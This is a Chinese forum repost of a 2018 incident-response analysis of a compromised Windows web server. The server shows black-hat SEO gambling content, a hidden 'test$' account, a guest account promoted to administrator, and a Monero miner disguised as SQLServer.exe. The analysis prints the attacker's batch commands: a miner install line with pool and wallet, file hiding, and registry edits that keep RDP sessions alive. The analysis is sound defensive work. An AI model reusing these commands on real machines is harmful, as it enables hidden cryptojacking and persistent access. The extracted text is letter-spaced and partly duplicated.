搜索

[13305] 2018-10-16_一次入侵应急响应分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-10-16_一次入侵应急响应分析 一 次 入 侵 应 急 响 应 分 析 f e i n i a o   F r e e B u f   2 0 1 8 - 1 0 - 1 6 前 言 前 言 本 文 是 前 段 时 间 处 理 某 用 户 被 黑 的 分 析 总 结 ， 用 户 被 黑 的 表 现 是 使 用 爬 虫 访 问 用 户 网 站 的 首 页 时 会 出 现 博 彩 关 本 文 是 前 段 时 间 处 理 某 用 户 被 黑 的 分 析 总 结 ， 用 户 被 黑 的 表 现 是 使 用 爬 虫 访 问 用 户 网 站 的 首 页 时 会 出 现 博 彩 关 键 字 ， 而 使 用 正 常 浏 览 器 访 问 时 无 相 关 的 博 彩 关 键 词 。 这 是 典 型 的 黑 帽 键 字 ， 而 使 用 正 常 浏 览 器 访 问 时 无 相 关 的 博 彩 关 键 词 。 这 是 典 型 的 黑 帽 S E O 的 表 现 ， 针 对 这 种 技 术 ， 的 表 现 ， 针 对 这 种 技 术 ， 前 期 文 章 前 期 文 章 已 有 相 关 分 析 ， 感 兴 趣 的 同 学 可 以 看 一 看 。 已 有 相 关 分 析 ， 感 兴 趣 的 同 学 可 以 看 一 看 。 此 次 分 析 ， 发 现 用 户 的 服 务 器 被 多 波 不 同 利 益 的 黑 客 入 侵 ， 里 面 有 一 些 比 较 有 意 思 的 内 容 ， 所 以 特 意 分 析 总 结 了 一 下 。 一 、 概 述 一 、 概 述 1 、 分 析 结 果 、 分 析 结 果 经 过 分 析 ， 目 前 得 到 以 下 结 论 ： 1 ） 服 务 器 上 存 在 博 彩 信 息 与 挖 矿 程 序 ， 说 明 被 多 波 不 同 利 益 团 队 的 黑 客 入 侵 ； 2 ） 此 服 务 器 于 2 0 1 8 年 9 月 2 1 日 被 黑 客 入 侵 后 加 上 相 应 的 博 彩 内 容 ， 相 应 的 I P 为 1 7 5 . 4 1 . 2 7 . 9 3 ； 3 ） 此 服 务 器 在 2 0 1 6 年 2 月 份 甚 至 更 早 就 已 经 被 黑 客 植 入 网 马 了 ； 4 ） 服 务 器 在 2 0 1 7 年 1 2 月 1 9 日 被 植 入 挖 矿 程 序 ； 5 ） 系 统 被 增 加 了 隐 藏 账 号 t e s t $ ， 并 且 在 2 0 1 8 年 9 月 2 1 日 1 4 : 3 8 发 现 账 号 g u e s t 有 I P 为 2 1 2 . 6 6 . 5 2 . 8 8 ， 地 理 位 置 为 乌 克 兰 登 录 的 情 况 。 二 、 分 析 过 程 二 、 分 析 过 程 2 . 1   入 侵 现 象 入 侵 现 象 2 0 1 8 年 9 月 份 ， 通 过 我 司 监 测 平 台 监 测 到 某 网 站 被 植 入 博 彩 内 容 ， 具 体 如 下 ：
网 站 被 植 入 博 彩 信 息 网 站 被 植 入 博 彩 基 本 上 说 明 网 站 被 黑 客 入 侵 ， 我 司 “ 捕 影 ” 应 急 响 应 小 组 立 即 协 助 用 户 进 行 入 侵 分 析 。 2 . 2   系 统 分 析 系 统 分 析 系 统 分 析 主 要 用 于 分 析 其 系 统 账 号 、 进 程 、 开 放 端 口 、 连 接 、 启 动 项 、 文 件 完 整 性 、 关 键 配 置 文 件 等 ， 通 过 系 统 相 关 项 的 分 析 判 断 其 系 统 层 面 是 否 正 常 。 对 其 系 统 层 面 分 析 ， 发 现 以 下 层 面 存 在 问 题 ： 系 统 账 号 系 统 账 号 对 系 统 账 号 的 分 析 ， 目 前 发 现 系 统 存 在 以 下 账 号 ： 其 中 t e s t $ 明 显 为 隐 藏 账 号 ， 一 般 情 况 下 系 统 管 理 员 不 会 增 加 隐 藏 账 号 ， 该 账 号 肯 定 为 黑 客 增 加 。 另 外 几 个 账 号 ， 如 z h i m e i 、 r e n j i a n 等 为 可 疑 账 号 ， 需 要 管 理 人 员 进 行 确 认 。 A d m i n i s t r a o t r 、 M Y S Q L _ Z K E Y S 、 t e s t $   、 z h i m e i 、 r e n j i a n 、 A P P _ I W A M _ 6 1 2 6 4 0 2 6 、 A P P _ I W A M _ 6 1 2 7 2 0 1 、 g u e s t
系 统 账 号 情 况 管 理 员 信 息 管 理 员 组 中 存 在 a d m i n i s t r a t o r 和 g u e s t ， 一 般 情 况 下 g u e s t 为 来 宾 账 号 ， 不 会 增 加 到 管 理 员 组 中 ， 怀 疑 该 账 号 为 黑 客 增 加 到 管 理 员 组 中 。 系 统 账 号 存 在 两 个 问 题 ： 1 ） 服 务 器 被 增 加 t e s t $ 隐 藏 账 号 2 ） G u e s t 账 号 被 加 入 到 管 理 员 组 中 日 志 分 析 日 志 分 析 通 过 相 关 安 全 产 品 的 日 志 ， 可 以 看 到 g u e s t 账 号 于 2 0 1 8 年 9 月 2 1 日 1 4 : 3 8 被 I P 为 2 1 2 . 6 6 . 5 2 . 8 8 的 乌 克 兰 I P 登 录 ， 该 账 号 密 码 肯 定 已 泄 露 ， 建 议 禁 用 该 账 号 。
进 程 与 服 务 分 析 进 程 与 服 务 分 析 对 其 服 务 器 分 析 ， 发 现 其 服 务 器 的 C P U 利 用 率 非 常 高 ， 利 用 率 为 1 0 0 % 。 发 现 主 要 被 S Q L S e r v e r . e x e 占 用 。 C P U 利 用 率 为 1 0 0 %
S Q L S e r v e r . e x e 占 用 C P U 最 高 找 到 该 程 序 所 在 的 目 录 ， 发 现 该 程 序 放 在 C : P r o g r a m D a t a M y S Q L 目 录 下 ， 并 且 被 目 录 被 隐 藏 。 里 面 有 四 个 文 件 ， 两 个 b a t 文 件 ， 两 个 e x e 文 件 。 【 S t a r t s e r v i c e . b a t 功 能 分 析 】 对 s t a r t s e r v i c e . b a t 进 行 分 析 ， 其 内 容 如 下 ：
其 功 能 如 下 ： 1 ） s e t   S E R V I C E _ N A M E = S y s t e m H o s t ， 指 定 其 服 务 名 为 S y s t e m H o s t ： 2 ） 使 用 T o m c a t 9   安 装 相 应 的 挖 矿 程 序 ， 挖 矿 参 数 分 析 ： 矿 池 地 址 矿 池 地 址 p o o l . m i n e x m r . c o m 矿 池 端 口 7 7 7 7 矿 工 账 号 4 9 Z R i T Z K 9 3 y B q A J W B T h 2 z T A j v q 8 z 9 o T n 3 8 R c 2 S c q S F 7 E 8 o R i z d d z y 2 i T h 6 k y y R i b t 7 A i 1 w 8 R W h T A P P P t i 4 Z A B e M p H h C J a 1 F 挖 矿 程 序 被 植 入 时 间 2 0 1 7 年 1 2 月 1 9   日 1 6 : 2 9 挖 数 字 货 币 类 型 X M R   门 罗 币 , 一 种 全 匿 名 的 数 字 货 币 。 其 特 点 在 于 交 易 过 程 全 匿 名 ， 无 法 追 踪 。 挖 X M R 数 量 与 价 值 7 . 6 X M R   人 民 币 约 6 0 0 0 元 T o m c a t 9   i n s t a l l " % S E R V I C E _ N A M E % "   S Q L S e r v e r . e x e   - o   s t r a t u m + t c p : / / p o o l . m i n e x m r . c o m : 7 7 7 7 – u   4 9 Z R i T Z K 9 3 y B q A J W B T h 2 z T A j v q 8 z 9 o T n 3 8 R c 2 S c q S F 7 E 8 o R i z d d z y 2 i T h 6 k y y R i b t 7 A i 1 w 8 R W h T A P P P t i 4 Z A B e M p H h C J a 1 F   - p   x   - d b g   - 1 - t   0
矿 池 网 站 黑 客 挖 X M R 数 量 挖 矿 程 序 被 植 入 时 间 3 ） 指 定 进 程 名 为 S Q L S e r v e r . e x e ： S e t   P r o c e s s N a m e = S Q L S e r v e r . e x e
4 ） 作 用 ： 将 该 目 录 下 的 所 有 文 件 隐 藏 5 ）   功 能 : 配 置 注 册 表 ， 作 用 为 使 远 程 连 接 永 不 超 时 。 6 ）   功 能 :   防 止 强 制 注 销 用 户 【 m H i . b a t 功 能 分 析 】 m H i . b a t 的 功 能 如 下 ： 1 ） 将 c : P r o g r a m D a t a 及 C : P r o g r a m D a t a M y S Q L 隐 藏 ， 防 止 安 全 人 员 发 现 ； 2 ） 指 定 C : P r o g r a m D a t a M y S Q L 、 C : W I N D O W S T a s k s A d o b e F l a s h   P l a y e r   U p d a t e r . j o b 、 C : W I N D O W S T a s k s G o o g l e U p d a t e T a s k M a s h i n e . j o b 相 关 文 件 的 访 问 控 制 权 限 ， 仅 允 许 S Y S T E M 组 用 户 完 全 控 制 ： a t t r i b   + h   + r   % c d % * . * r e g   a d d   " H K L M s y s t e m C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r W i n S t a t i o n s R D P - T c p "   / v   " M a x C o n n e c t i o n T i m e " / t   R E G _ D W O R D   / d   0 x 1   / f r e g   a d d " H K L M s y s t e m C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l S e r v e r W i n S t a t i o n s R D P - T c p "   / v   " M a x D i s c o n n e c t i o n T i m e "   / t R E G _ D W O R D   / d   0 x 0   / f r e g   a d d " H K L M s y s t e m C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l S e r v e r W i n S t a t i o n s R D P - T c p "   / v   " M a x I d l e T i m e "   / t   R E G _ D W O R D   / d   0 x 0 / f n e t   a c c o u n t s   / f o r c e l o g o f f : n o
m H i . b a t 功 能 c a l c l s 功 能 【 S Q L S e r v e r . e x e 功 能 分 析 】 子 进 程 ， 主 要 功 能 用 来 挖 矿 【 T o m c a t 9 . e x e 功 能 分 析 】 1 ） S Q L S e r v e r . e x e 的 父 进 程 ， 用 来 守 护 S Q L S e r v e r . e x e , 2 ） S Q L S e r v e r . e x e 一 旦 被 关 闭 ， 会 立 即 启 动 S Q L S e r v e r . e x e 【 功 能 总 结 】 通 过 以 上 分 析 ， 可 以 看 出 ， 黑 客 增 加 的 四 个 文 件 的 主 要 作 用 如 下 ：
【 应 急 处 置 】 直 接 关 闭 S Q L S e r v e r . e x e , 该 程 序 立 马 启 动 。 由 于 其 存 在 父 进 程 ， 直 接 查 找 父 进 程 ， 命 令 如 下 ： ： 首 先 关 闭 父 进 程 T o m c a t 9 . e x e ， 然 后 再 关 闭 子 进 程 S Q L S e r v e r . e x e ， 挖 矿 程 序 被 清 除 ， C P U 使 用 正 常 。 w m i c   p r o c e s s   w h e r e N a m e = " S Q L S e r v e r . e x e "   g e t   P a r e n t P r o c e s s I D
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理